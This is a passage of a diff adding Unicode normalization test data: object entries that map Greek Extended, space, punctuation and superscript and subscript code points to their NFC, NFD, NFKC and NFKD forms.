+{ source: [0x1F62], NFC: [0x1F62], NFD: [0x03C9, 0x0313, 0x0300], NFKC: [0x1F62], NFKD: [0x03C9, 0x0313, 0x0300] },
+{ source: [0x1F63], NFC: [0x1F63], NFD: [0x03C9, 0x0314, 0x0300], NFKC: [0x1F63], NFKD: [0x03C9, 0x0314, 0x0300] },
+{ source: [0x1F64], NFC: [0x1F64], NFD: [0x03C9, 0x0313, 0x0301], NFKC: [0x1F64], NFKD: [0x03C9, 0x0313, 0x0301] },
+{ source: [0x1F65], NFC: [0x1F65], NFD: [0x03C9, 0x0314, 0x0301], NFKC: [0x1F65], NFKD: [0x03C9, 0x0314, 0x0301] },
+{ source: [0x1F66], NFC: [0x1F66], NFD: [0x03C9, 0x0313, 0x0342], NFKC: [0x1F66], NFKD: [0x03C9, 0x0313, 0x0342] },
+{ source: [0x1F67], NFC: [0x1F67], NFD: [0x03C9, 0x0314, 0x0342], NFKC: [0x1F67], NFKD: [0x03C9, 0x0314, 0x0342] },
+{ source: [0x1F68], NFC: [0x1F68], NFD: [0x03A9, 0x0313], NFKC: [0x1F68], NFKD: [0x03A9, 0x0313] },
+{ source: [0x1F69], NFC: [0x1F69], NFD: [0x03A9, 0x0314], NFKC: [0x1F69], NFKD: [0x03A9, 0x0314] },
+{ source: [0x1F6A], NFC: [0x1F6A], NFD: [0x03A9, 0x0313, 0x0300], NFKC: [0x1F6A], NFKD: [0x03A9, 0x0313, 0x0300] },
+{ source: [0x1F6B], NFC: [0x1F6B], NFD: [0x03A9, 0x0314, 0x0300], NFKC: [0x1F6B], NFKD: [0x03A9, 0x0314, 0x0300] },
+{ source: [0x1F6C], NFC: [0x1F6C], NFD: [0x03A9, 0x0313, 0x0301], NFKC: [0x1F6C], NFKD: [0x03A9, 0x0313, 0x0301] },
+{ source: [0x1F6D], NFC: [0x1F6D], NFD: [0x03A9, 0x0314, 0x0301], NFKC: [0x1F6D], NFKD: [0x03A9, 0x0314, 0x0301] },
+{ source: [0x1F6E], NFC: [0x1F6E], NFD: [0x03A9, 0x0313, 0x0342], NFKC: [0x1F6E], NFKD: [0x03A9, 0x0313, 0x0342] },
+{ source: [0x1F6F], NFC: [0x1F6F], NFD: [0x03A9, 0x0314, 0x0342], NFKC: [0x1F6F], NFKD: [0x03A9, 0x0314, 0x0342] },
+{ source: [0x1F70], NFC: [0x1F70], NFD: [0x03B1, 0x0300], NFKC: [0x1F70], NFKD: [0x03B1, 0x0300] },
+{ source: [0x1F71], NFC: [0x03AC], NFD: [0x03B1, 0x0301], NFKC: [0x03AC], NFKD: [0x03B1, 0x0301] },
+{ source: [0x1F72], NFC: [0x1F72], NFD: [0x03B5, 0x0300], NFKC: [0x1F72], NFKD: [0x03B5, 0x0300] },
+{ source: [0x1F73], NFC: [0x03AD], NFD: [0x03B5, 0x0301], NFKC: [0x03AD], NFKD: [0x03B5, 0x0301] },
+{ source: [0x1F74], NFC: [0x1F74], NFD: [0x03B7, 0x0300], NFKC: [0x1F74], NFKD: [0x03B7, 0x0300] },
+{ source: [0x1F75], NFC: [0x03AE], NFD: [0x03B7, 0x0301], NFKC: [0x03AE], NFKD: [0x03B7, 0x0301] },
+{ source: [0x1F76], NFC: [0x1F76], NFD: [0x03B9, 0x0300], NFKC: [0x1F76], NFKD: [0x03B9, 0x0300] },
+{ source: [0x1F77], NFC: [0x03AF], NFD: [0x03B9, 0x0301], NFKC: [0x03AF], NFKD: [0x03B9, 0x0301] },
+{ source: [0x1F78], NFC: [0x1F78], NFD: [0x03BF, 0x0300], NFKC: [0x1F78], NFKD: [0x03BF, 0x0300] },
+{ source: [0x1F79], NFC: [0x03CC], NFD: [0x03BF, 0x0301], NFKC: [0x03CC], NFKD: [0x03BF, 0x0301] },
+{ source: [0x1F7A], NFC: [0x1F7A], NFD: [0x03C5, 0x0300], NFKC: [0x1F7A], NFKD: [0x03C5, 0x0300] },
+{ source: [0x1F7B], NFC: [0x03CD], NFD: [0x03C5, 0x0301], NFKC: [0x03CD], NFKD: [0x03C5, 0x0301] },
+{ source: [0x1F7C], NFC: [0x1F7C], NFD: [0x03C9, 0x0300], NFKC: [0x1F7C], NFKD: [0x03C9, 0x0300] },
+{ source: [0x1F7D], NFC: [0x03CE], NFD: [0x03C9, 0x0301], NFKC: [0x03CE], NFKD: [0x03C9, 0x0301] },
+{ source: [0x1F80], NFC: [0x1F80], NFD: [0x03B1, 0x0313, 0x0345], NFKC: [0x1F80], NFKD: [0x03B1, 0x0313, 0x0345] },
+{ source: [0x1F81], NFC: [0x1F81], NFD: [0x03B1, 0x0314, 0x0345], NFKC: [0x1F81], NFKD: [0x03B1, 0x0314, 0x0345] },
+{ source: [0x1F82], NFC: [0x1F82], NFD: [0x03B1, 0x0313, 0x0300, 0x0345], NFKC: [0x1F82], NFKD: [0x03B1, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1F83], NFC: [0x1F83], NFD: [0x03B1, 0x0314, 0x0300, 0x0345], NFKC: [0x1F83], NFKD: [0x03B1, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1F84], NFC: [0x1F84], NFD: [0x03B1, 0x0313, 0x0301, 0x0345], NFKC: [0x1F84], NFKD: [0x03B1, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1F85], NFC: [0x1F85], NFD: [0x03B1, 0x0314, 0x0301, 0x0345], NFKC: [0x1F85], NFKD: [0x03B1, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1F86], NFC: [0x1F86], NFD: [0x03B1, 0x0313, 0x0342, 0x0345], NFKC: [0x1F86], NFKD: [0x03B1, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1F87], NFC: [0x1F87], NFD: [0x03B1, 0x0314, 0x0342, 0x0345], NFKC: [0x1F87], NFKD: [0x03B1, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1F88], NFC: [0x1F88], NFD: [0x0391, 0x0313, 0x0345], NFKC: [0x1F88], NFKD: [0x0391, 0x0313, 0x0345] },
+{ source: [0x1F89], NFC: [0x1F89], NFD: [0x0391, 0x0314, 0x0345], NFKC: [0x1F89], NFKD: [0x0391, 0x0314, 0x0345] },
+{ source: [0x1F8A], NFC: [0x1F8A], NFD: [0x0391, 0x0313, 0x0300, 0x0345], NFKC: [0x1F8A], NFKD: [0x0391, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1F8B], NFC: [0x1F8B], NFD: [0x0391, 0x0314, 0x0300, 0x0345], NFKC: [0x1F8B], NFKD: [0x0391, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1F8C], NFC: [0x1F8C], NFD: [0x0391, 0x0313, 0x0301, 0x0345], NFKC: [0x1F8C], NFKD: [0x0391, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1F8D], NFC: [0x1F8D], NFD: [0x0391, 0x0314, 0x0301, 0x0345], NFKC: [0x1F8D], NFKD: [0x0391, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1F8E], NFC: [0x1F8E], NFD: [0x0391, 0x0313, 0x0342, 0x0345], NFKC: [0x1F8E], NFKD: [0x0391, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1F8F], NFC: [0x1F8F], NFD: [0x0391, 0x0314, 0x0342, 0x0345], NFKC: [0x1F8F], NFKD: [0x0391, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1F90], NFC: [0x1F90], NFD: [0x03B7, 0x0313, 0x0345], NFKC: [0x1F90], NFKD: [0x03B7, 0x0313, 0x0345] },
+{ source: [0x1F91], NFC: [0x1F91], NFD: [0x03B7, 0x0314, 0x0345], NFKC: [0x1F91], NFKD: [0x03B7, 0x0314, 0x0345] },
+{ source: [0x1F92], NFC: [0x1F92], NFD: [0x03B7, 0x0313, 0x0300, 0x0345], NFKC: [0x1F92], NFKD: [0x03B7, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1F93], NFC: [0x1F93], NFD: [0x03B7, 0x0314, 0x0300, 0x0345], NFKC: [0x1F93], NFKD: [0x03B7, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1F94], NFC: [0x1F94], NFD: [0x03B7, 0x0313, 0x0301, 0x0345], NFKC: [0x1F94], NFKD: [0x03B7, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1F95], NFC: [0x1F95], NFD: [0x03B7, 0x0314, 0x0301, 0x0345], NFKC: [0x1F95], NFKD: [0x03B7, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1F96], NFC: [0x1F96], NFD: [0x03B7, 0x0313, 0x0342, 0x0345], NFKC: [0x1F96], NFKD: [0x03B7, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1F97], NFC: [0x1F97], NFD: [0x03B7, 0x0314, 0x0342, 0x0345], NFKC: [0x1F97], NFKD: [0x03B7, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1F98], NFC: [0x1F98], NFD: [0x0397, 0x0313, 0x0345], NFKC: [0x1F98], NFKD: [0x0397, 0x0313, 0x0345] },
+{ source: [0x1F99], NFC: [0x1F99], NFD: [0x0397, 0x0314, 0x0345], NFKC: [0x1F99], NFKD: [0x0397, 0x0314, 0x0345] },
+{ source: [0x1F9A], NFC: [0x1F9A], NFD: [0x0397, 0x0313, 0x0300, 0x0345], NFKC: [0x1F9A], NFKD: [0x0397, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1F9B], NFC: [0x1F9B], NFD: [0x0397, 0x0314, 0x0300, 0x0345], NFKC: [0x1F9B], NFKD: [0x0397, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1F9C], NFC: [0x1F9C], NFD: [0x0397, 0x0313, 0x0301, 0x0345], NFKC: [0x1F9C], NFKD: [0x0397, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1F9D], NFC: [0x1F9D], NFD: [0x0397, 0x0314, 0x0301, 0x0345], NFKC: [0x1F9D], NFKD: [0x0397, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1F9E], NFC: [0x1F9E], NFD: [0x0397, 0x0313, 0x0342, 0x0345], NFKC: [0x1F9E], NFKD: [0x0397, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1F9F], NFC: [0x1F9F], NFD: [0x0397, 0x0314, 0x0342, 0x0345], NFKC: [0x1F9F], NFKD: [0x0397, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1FA0], NFC: [0x1FA0], NFD: [0x03C9, 0x0313, 0x0345], NFKC: [0x1FA0], NFKD: [0x03C9, 0x0313, 0x0345] },
+{ source: [0x1FA1], NFC: [0x1FA1], NFD: [0x03C9, 0x0314, 0x0345], NFKC: [0x1FA1], NFKD: [0x03C9, 0x0314, 0x0345] },
+{ source: [0x1FA2], NFC: [0x1FA2], NFD: [0x03C9, 0x0313, 0x0300, 0x0345], NFKC: [0x1FA2], NFKD: [0x03C9, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1FA3], NFC: [0x1FA3], NFD: [0x03C9, 0x0314, 0x0300, 0x0345], NFKC: [0x1FA3], NFKD: [0x03C9, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1FA4], NFC: [0x1FA4], NFD: [0x03C9, 0x0313, 0x0301, 0x0345], NFKC: [0x1FA4], NFKD: [0x03C9, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1FA5], NFC: [0x1FA5], NFD: [0x03C9, 0x0314, 0x0301, 0x0345], NFKC: [0x1FA5], NFKD: [0x03C9, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1FA6], NFC: [0x1FA6], NFD: [0x03C9, 0x0313, 0x0342, 0x0345], NFKC: [0x1FA6], NFKD: [0x03C9, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1FA7], NFC: [0x1FA7], NFD: [0x03C9, 0x0314, 0x0342, 0x0345], NFKC: [0x1FA7], NFKD: [0x03C9, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1FA8], NFC: [0x1FA8], NFD: [0x03A9, 0x0313, 0x0345], NFKC: [0x1FA8], NFKD: [0x03A9, 0x0313, 0x0345] },
+{ source: [0x1FA9], NFC: [0x1FA9], NFD: [0x03A9, 0x0314, 0x0345], NFKC: [0x1FA9], NFKD: [0x03A9, 0x0314, 0x0345] },
+{ source: [0x1FAA], NFC: [0x1FAA], NFD: [0x03A9, 0x0313, 0x0300, 0x0345], NFKC: [0x1FAA], NFKD: [0x03A9, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1FAB], NFC: [0x1FAB], NFD: [0x03A9, 0x0314, 0x0300, 0x0345], NFKC: [0x1FAB], NFKD: [0x03A9, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1FAC], NFC: [0x1FAC], NFD: [0x03A9, 0x0313, 0x0301, 0x0345], NFKC: [0x1FAC], NFKD: [0x03A9, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1FAD], NFC: [0x1FAD], NFD: [0x03A9, 0x0314, 0x0301, 0x0345], NFKC: [0x1FAD], NFKD: [0x03A9, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1FAE], NFC: [0x1FAE], NFD: [0x03A9, 0x0313, 0x0342, 0x0345], NFKC: [0x1FAE], NFKD: [0x03A9, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1FAF], NFC: [0x1FAF], NFD: [0x03A9, 0x0314, 0x0342, 0x0345], NFKC: [0x1FAF], NFKD: [0x03A9, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1FB0], NFC: [0x1FB0], NFD: [0x03B1, 0x0306], NFKC: [0x1FB0], NFKD: [0x03B1, 0x0306] },
+{ source: [0x1FB1], NFC: [0x1FB1], NFD: [0x03B1, 0x0304], NFKC: [0x1FB1], NFKD: [0x03B1, 0x0304] },
+{ source: [0x1FB2], NFC: [0x1FB2], NFD: [0x03B1, 0x0300, 0x0345], NFKC: [0x1FB2], NFKD: [0x03B1, 0x0300, 0x0345] },
+{ source: [0x1FB3], NFC: [0x1FB3], NFD: [0x03B1, 0x0345], NFKC: [0x1FB3], NFKD: [0x03B1, 0x0345] },
+{ source: [0x1FB4], NFC: [0x1FB4], NFD: [0x03B1, 0x0301, 0x0345], NFKC: [0x1FB4], NFKD: [0x03B1, 0x0301, 0x0345] },
+{ source: [0x1FB6], NFC: [0x1FB6], NFD: [0x03B1, 0x0342], NFKC: [0x1FB6], NFKD: [0x03B1, 0x0342] },
+{ source: [0x1FB7], NFC: [0x1FB7], NFD: [0x03B1, 0x0342, 0x0345], NFKC: [0x1FB7], NFKD: [0x03B1, 0x0342, 0x0345] },
+{ source: [0x1FB8], NFC: [0x1FB8], NFD: [0x0391, 0x0306], NFKC: [0x1FB8], NFKD: [0x0391, 0x0306] },
+{ source: [0x1FB9], NFC: [0x1FB9], NFD: [0x0391, 0x0304], NFKC: [0x1FB9], NFKD: [0x0391, 0x0304] },
+{ source: [0x1FBA], NFC: [0x1FBA], NFD: [0x0391, 0x0300], NFKC: [0x1FBA], NFKD: [0x0391, 0x0300] },
+{ source: [0x1FBB], NFC: [0x0386], NFD: [0x0391, 0x0301], NFKC: [0x0386], NFKD: [0x0391, 0x0301] },
+{ source: [0x1FBC], NFC: [0x1FBC], NFD: [0x0391, 0x0345], NFKC: [0x1FBC], NFKD: [0x0391, 0x0345] },
+{ source: [0x1FBD], NFC: [0x1FBD], NFD: [0x1FBD], NFKC: [0x0020, 0x0313], NFKD: [0x0020, 0x0313] },
+{ source: [0x1FBE], NFC: [0x03B9], NFD: [0x03B9], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1FBF], NFC: [0x1FBF], NFD: [0x1FBF], NFKC: [0x0020, 0x0313], NFKD: [0x0020, 0x0313] },
+{ source: [0x1FC0], NFC: [0x1FC0], NFD: [0x1FC0], NFKC: [0x0020, 0x0342], NFKD: [0x0020, 0x0342] },
+{ source: [0x1FC1], NFC: [0x1FC1], NFD: [0x00A8, 0x0342], NFKC: [0x0020, 0x0308, 0x0342], NFKD: [0x0020, 0x0308, 0x0342] },
+{ source: [0x1FC2], NFC: [0x1FC2], NFD: [0x03B7, 0x0300, 0x0345], NFKC: [0x1FC2], NFKD: [0x03B7, 0x0300, 0x0345] },
+{ source: [0x1FC3], NFC: [0x1FC3], NFD: [0x03B7, 0x0345], NFKC: [0x1FC3], NFKD: [0x03B7, 0x0345] },
+{ source: [0x1FC4], NFC: [0x1FC4], NFD: [0x03B7, 0x0301, 0x0345], NFKC: [0x1FC4], NFKD: [0x03B7, 0x0301, 0x0345] },
+{ source: [0x1FC6], NFC: [0x1FC6], NFD: [0x03B7, 0x0342], NFKC: [0x1FC6], NFKD: [0x03B7, 0x0342] },
+{ source: [0x1FC7], NFC: [0x1FC7], NFD: [0x03B7, 0x0342, 0x0345], NFKC: [0x1FC7], NFKD: [0x03B7, 0x0342, 0x0345] },
+{ source: [0x1FC8], NFC: [0x1FC8], NFD: [0x0395, 0x0300], NFKC: [0x1FC8], NFKD: [0x0395, 0x0300] },
+{ source: [0x1FC9], NFC: [0x0388], NFD: [0x0395, 0x0301], NFKC: [0x0388], NFKD: [0x0395, 0x0301] },
+{ source: [0x1FCA], NFC: [0x1FCA], NFD: [0x0397, 0x0300], NFKC: [0x1FCA], NFKD: [0x0397, 0x0300] },
+{ source: [0x1FCB], NFC: [0x0389], NFD: [0x0397, 0x0301], NFKC: [0x0389], NFKD: [0x0397, 0x0301] },
+{ source: [0x1FCC], NFC: [0x1FCC], NFD: [0x0397, 0x0345], NFKC: [0x1FCC], NFKD: [0x0397, 0x0345] },
+{ source: [0x1FCD], NFC: [0x1FCD], NFD: [0x1FBF, 0x0300], NFKC: [0x0020, 0x0313, 0x0300], NFKD: [0x0020, 0x0313, 0x0300] },
+{ source: [0x1FCE], NFC: [0x1FCE], NFD: [0x1FBF, 0x0301], NFKC: [0x0020, 0x0313, 0x0301], NFKD: [0x0020, 0x0313, 0x0301] },
+{ source: [0x1FCF], NFC: [0x1FCF], NFD: [0x1FBF, 0x0342], NFKC: [0x0020, 0x0313, 0x0342], NFKD: [0x0020, 0x0313, 0x0342] },
+{ source: [0x1FD0], NFC: [0x1FD0], NFD: [0x03B9, 0x0306], NFKC: [0x1FD0], NFKD: [0x03B9, 0x0306] },
+{ source: [0x1FD1], NFC: [0x1FD1], NFD: [0x03B9, 0x0304], NFKC: [0x1FD1], NFKD: [0x03B9, 0x0304] },
+{ source: [0x1FD2], NFC: [0x1FD2], NFD: [0x03B9, 0x0308, 0x0300], NFKC: [0x1FD2], NFKD: [0x03B9, 0x0308, 0x0300] },
+{ source: [0x1FD3], NFC: [0x0390], NFD: [0x03B9, 0x0308, 0x0301], NFKC: [0x0390], NFKD: [0x03B9, 0x0308, 0x0301] },
+{ source: [0x1FD6], NFC: [0x1FD6], NFD: [0x03B9, 0x0342], NFKC: [0x1FD6], NFKD: [0x03B9, 0x0342] },
+{ source: [0x1FD7], NFC: [0x1FD7], NFD: [0x03B9, 0x0308, 0x0342], NFKC: [0x1FD7], NFKD: [0x03B9, 0x0308, 0x0342] },
+{ source: [0x1FD8], NFC: [0x1FD8], NFD: [0x0399, 0x0306], NFKC: [0x1FD8], NFKD: [0x0399, 0x0306] },
+{ source: [0x1FD9], NFC: [0x1FD9], NFD: [0x0399, 0x0304], NFKC: [0x1FD9], NFKD: [0x0399, 0x0304] },
+{ source: [0x1FDA], NFC: [0x1FDA], NFD: [0x0399, 0x0300], NFKC: [0x1FDA], NFKD: [0x0399, 0x0300] },
+{ source: [0x1FDB], NFC: [0x038A], NFD: [0x0399, 0x0301], NFKC: [0x038A], NFKD: [0x0399, 0x0301] },
+{ source: [0x1FDD], NFC: [0x1FDD], NFD: [0x1FFE, 0x0300], NFKC: [0x0020, 0x0314, 0x0300], NFKD: [0x0020, 0x0314, 0x0300] },
+{ source: [0x1FDE], NFC: [0x1FDE], NFD: [0x1FFE, 0x0301], NFKC: [0x0020, 0x0314, 0x0301], NFKD: [0x0020, 0x0314, 0x0301] },
+{ source: [0x1FDF], NFC: [0x1FDF], NFD: [0x1FFE, 0x0342], NFKC: [0x0020, 0x0314, 0x0342], NFKD: [0x0020, 0x0314, 0x0342] },
+{ source: [0x1FE0], NFC: [0x1FE0], NFD: [0x03C5, 0x0306], NFKC: [0x1FE0], NFKD: [0x03C5, 0x0306] },
+{ source: [0x1FE1], NFC: [0x1FE1], NFD: [0x03C5, 0x0304], NFKC: [0x1FE1], NFKD: [0x03C5, 0x0304] },
+{ source: [0x1FE2], NFC: [0x1FE2], NFD: [0x03C5, 0x0308, 0x0300], NFKC: [0x1FE2], NFKD: [0x03C5, 0x0308, 0x0300] },
+{ source: [0x1FE3], NFC: [0x03B0], NFD: [0x03C5, 0x0308, 0x0301], NFKC: [0x03B0], NFKD: [0x03C5, 0x0308, 0x0301] },
+{ source: [0x1FE4], NFC: [0x1FE4], NFD: [0x03C1, 0x0313], NFKC: [0x1FE4], NFKD: [0x03C1, 0x0313] },
+{ source: [0x1FE5], NFC: [0x1FE5], NFD: [0x03C1, 0x0314], NFKC: [0x1FE5], NFKD: [0x03C1, 0x0314] },
+{ source: [0x1FE6], NFC: [0x1FE6], NFD: [0x03C5, 0x0342], NFKC: [0x1FE6], NFKD: [0x03C5, 0x0342] },
+{ source: [0x1FE7], NFC: [0x1FE7], NFD: [0x03C5, 0x0308, 0x0342], NFKC: [0x1FE7], NFKD: [0x03C5, 0x0308, 0x0342] },
+{ source: [0x1FE8], NFC: [0x1FE8], NFD: [0x03A5, 0x0306], NFKC: [0x1FE8], NFKD: [0x03A5, 0x0306] },
+{ source: [0x1FE9], NFC: [0x1FE9], NFD: [0x03A5, 0x0304], NFKC: [0x1FE9], NFKD: [0x03A5, 0x0304] },
+{ source: [0x1FEA], NFC: [0x1FEA], NFD: [0x03A5, 0x0300], NFKC: [0x1FEA], NFKD: [0x03A5, 0x0300] },
+{ source: [0x1FEB], NFC: [0x038E], NFD: [0x03A5, 0x0301], NFKC: [0x038E], NFKD: [0x03A5, 0x0301] },
+{ source: [0x1FEC], NFC: [0x1FEC], NFD: [0x03A1, 0x0314], NFKC: [0x1FEC], NFKD: [0x03A1, 0x0314] },
+{ source: [0x1FED], NFC: [0x1FED], NFD: [0x00A8, 0x0300], NFKC: [0x0020, 0x0308, 0x0300], NFKD: [0x0020, 0x0308, 0x0300] },
+{ source: [0x1FEE], NFC: [0x0385], NFD: [0x00A8, 0x0301], NFKC: [0x0020, 0x0308, 0x0301], NFKD: [0x0020, 0x0308, 0x0301] },
+{ source: [0x1FEF], NFC: [0x0060], NFD: [0x0060], NFKC: [0x0060], NFKD: [0x0060] },
+{ source: [0x1FF2], NFC: [0x1FF2], NFD: [0x03C9, 0x0300, 0x0345], NFKC: [0x1FF2], NFKD: [0x03C9, 0x0300, 0x0345] },
+{ source: [0x1FF3], NFC: [0x1FF3], NFD: [0x03C9, 0x0345], NFKC: [0x1FF3], NFKD: [0x03C9, 0x0345] },
+{ source: [0x1FF4], NFC: [0x1FF4], NFD: [0x03C9, 0x0301, 0x0345], NFKC: [0x1FF4], NFKD: [0x03C9, 0x0301, 0x0345] },
+{ source: [0x1FF6], NFC: [0x1FF6], NFD: [0x03C9, 0x0342], NFKC: [0x1FF6], NFKD: [0x03C9, 0x0342] },
+{ source: [0x1FF7], NFC: [0x1FF7], NFD: [0x03C9, 0x0342, 0x0345], NFKC: [0x1FF7], NFKD: [0x03C9, 0x0342, 0x0345] },
+{ source: [0x1FF8], NFC: [0x1FF8], NFD: [0x039F, 0x0300], NFKC: [0x1FF8], NFKD: [0x039F, 0x0300] },
+{ source: [0x1FF9], NFC: [0x038C], NFD: [0x039F, 0x0301], NFKC: [0x038C], NFKD: [0x039F, 0x0301] },
+{ source: [0x1FFA], NFC: [0x1FFA], NFD: [0x03A9, 0x0300], NFKC: [0x1FFA], NFKD: [0x03A9, 0x0300] },
+{ source: [0x1FFB], NFC: [0x038F], NFD: [0x03A9, 0x0301], NFKC: [0x038F], NFKD: [0x03A9, 0x0301] },
+{ source: [0x1FFC], NFC: [0x1FFC], NFD: [0x03A9, 0x0345], NFKC: [0x1FFC], NFKD: [0x03A9, 0x0345] },
+{ source: [0x1FFD], NFC: [0x00B4], NFD: [0x00B4], NFKC: [0x0020, 0x0301], NFKD: [0x0020, 0x0301] },
+{ source: [0x1FFE], NFC: [0x1FFE], NFD: [0x1FFE], NFKC: [0x0020, 0x0314], NFKD: [0x0020, 0x0314] },
+{ source: [0x2000], NFC: [0x2002], NFD: [0x2002], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2001], NFC: [0x2003], NFD: [0x2003], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2002], NFC: [0x2002], NFD: [0x2002], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2003], NFC: [0x2003], NFD: [0x2003], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2004], NFC: [0x2004], NFD: [0x2004], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2005], NFC: [0x2005], NFD: [0x2005], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2006], NFC: [0x2006], NFD: [0x2006], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2007], NFC: [0x2007], NFD: [0x2007], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2008], NFC: [0x2008], NFD: [0x2008], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2009], NFC: [0x2009], NFD: [0x2009], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x200A], NFC: [0x200A], NFD: [0x200A], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2011], NFC: [0x2011], NFD: [0x2011], NFKC: [0x2010], NFKD: [0x2010] },
+{ source: [0x2017], NFC: [0x2017], NFD: [0x2017], NFKC: [0x0020, 0x0333], NFKD: [0x0020, 0x0333] },
+{ source: [0x2024], NFC: [0x2024], NFD: [0x2024], NFKC: [0x002E], NFKD: [0x002E] },
+{ source: [0x2025], NFC: [0x2025], NFD: [0x2025], NFKC: [0x002E, 0x002E], NFKD: [0x002E, 0x002E] },
+{ source: [0x2026], NFC: [0x2026], NFD: [0x2026], NFKC: [0x002E, 0x002E, 0x002E], NFKD: [0x002E, 0x002E, 0x002E] },
+{ source: [0x202F], NFC: [0x202F], NFD: [0x202F], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2033], NFC: [0x2033], NFD: [0x2033], NFKC: [0x2032, 0x2032], NFKD: [0x2032, 0x2032] },
+{ source: [0x2034], NFC: [0x2034], NFD: [0x2034], NFKC: [0x2032, 0x2032, 0x2032], NFKD: [0x2032, 0x2032, 0x2032] },
+{ source: [0x2036], NFC: [0x2036], NFD: [0x2036], NFKC: [0x2035, 0x2035], NFKD: [0x2035, 0x2035] },
+{ source: [0x2037], NFC: [0x2037], NFD: [0x2037], NFKC: [0x2035, 0x2035, 0x2035], NFKD: [0x2035, 0x2035, 0x2035] },
+{ source: [0x203C], NFC: [0x203C], NFD: [0x203C], NFKC: [0x0021, 0x0021], NFKD: [0x0021, 0x0021] },
+{ source: [0x203E], NFC: [0x203E], NFD: [0x203E], NFKC: [0x0020, 0x0305], NFKD: [0x0020, 0x0305] },
+{ source: [0x2047], NFC: [0x2047], NFD: [0x2047], NFKC: [0x003F, 0x003F], NFKD: [0x003F, 0x003F] },
+{ source: [0x2048], NFC: [0x2048], NFD: [0x2048], NFKC: [0x003F, 0x0021], NFKD: [0x003F, 0x0021] },
+{ source: [0x2049], NFC: [0x2049], NFD: [0x2049], NFKC: [0x0021, 0x003F], NFKD: [0x0021, 0x003F] },
+{ source: [0x2057], NFC: [0x2057], NFD: [0x2057], NFKC: [0x2032, 0x2032, 0x2032, 0x2032], NFKD: [0x2032, 0x2032, 0x2032, 0x2032] },
+{ source: [0x205F], NFC: [0x205F], NFD: [0x205F], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x2070], NFC: [0x2070], NFD: [0x2070], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x2071], NFC: [0x2071], NFD: [0x2071], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x2074], NFC: [0x2074], NFD: [0x2074], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x2075], NFC: [0x2075], NFD: [0x2075], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x2076], NFC: [0x2076], NFD: [0x2076], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x2077], NFC: [0x2077], NFD: [0x2077], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x2078], NFC: [0x2078], NFD: [0x2078], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x2079], NFC: [0x2079], NFD: [0x2079], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x207A], NFC: [0x207A], NFD: [0x207A], NFKC: [0x002B], NFKD: [0x002B] },
+{ source: [0x207B], NFC: [0x207B], NFD: [0x207B], NFKC: [0x2212], NFKD: [0x2212] },
+{ source: [0x207C], NFC: [0x207C], NFD: [0x207C], NFKC: [0x003D], NFKD: [0x003D] },
+{ source: [0x207D], NFC: [0x207D], NFD: [0x207D], NFKC: [0x0028], NFKD: [0x0028] },
+{ source: [0x207E], NFC: [0x207E], NFD: [0x207E], NFKC: [0x0029], NFKD: [0x0029] },
+{ source: [0x207F], NFC: [0x207F], NFD: [0x207F], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x2080], NFC: [0x2080], NFD: [0x2080], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x2081], NFC: [0x2081], NFD: [0x2081], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x2082], NFC: [0x2082], NFD: [0x2082], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x2083], NFC: [0x2083], NFD: [0x2083], NFKC: [0x0033], NFKD: [0x0033] },
